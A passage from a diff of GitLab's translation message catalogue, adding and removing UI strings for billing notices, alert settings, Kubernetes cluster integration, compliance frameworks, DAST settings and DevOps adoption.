+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3345,12 +3378,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3477,9 +3516,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3546,6 +3582,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3705,9 +3744,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3780,9 +3816,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3834,6 +3867,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3924,6 +3960,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -4080,9 +4119,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4359,9 +4395,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4463,15 +4496,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4863,9 +4890,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -5057,9 +5081,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5447,6 +5468,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5595,6 +5619,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5657,6 +5684,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5687,6 +5717,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5909,6 +5942,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -6077,6 +6113,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6127,10 +6166,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6175,6 +6214,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6298,9 +6340,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6406,15 +6445,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6691,6 +6730,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6793,9 +6835,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6823,6 +6862,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7252,9 +7294,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7264,24 +7303,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7315,15 +7342,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7336,9 +7354,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7360,9 +7375,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7381,15 +7393,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7411,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7426,15 +7426,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7456,15 +7453,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7513,12 +7501,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7534,9 +7516,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7552,9 +7531,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7597,27 +7573,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7645,9 +7606,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7657,18 +7615,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7690,39 +7636,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7756,9 +7672,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7807,12 +7720,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7855,9 +7762,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7867,15 +7771,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7912,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7942,9 +7819,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7993,15 +7867,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -8026,9 +7894,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -8047,27 +7912,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -8077,24 +7927,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8125,9 +7957,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8149,21 +7978,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8188,27 +8005,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8224,12 +8026,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8302,6 +8098,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8317,9 +8116,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8619,9 +8424,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8658,9 +8460,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8679,42 +8478,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8733,6 +8499,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8989,6 +8758,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9345,7 +9117,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9384,6 +9156,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9450,6 +9225,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9690,9 +9468,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9819,9 +9594,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -10053,6 +9825,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -10062,9 +9840,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -10080,9 +9855,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10158,6 +9930,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10381,9 +10156,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10450,6 +10222,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10812,9 +10596,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10839,6 +10620,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10872,7 +10656,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10992,6 +10776,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11684,12 +11471,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11747,7 +11552,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11759,21 +11564,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
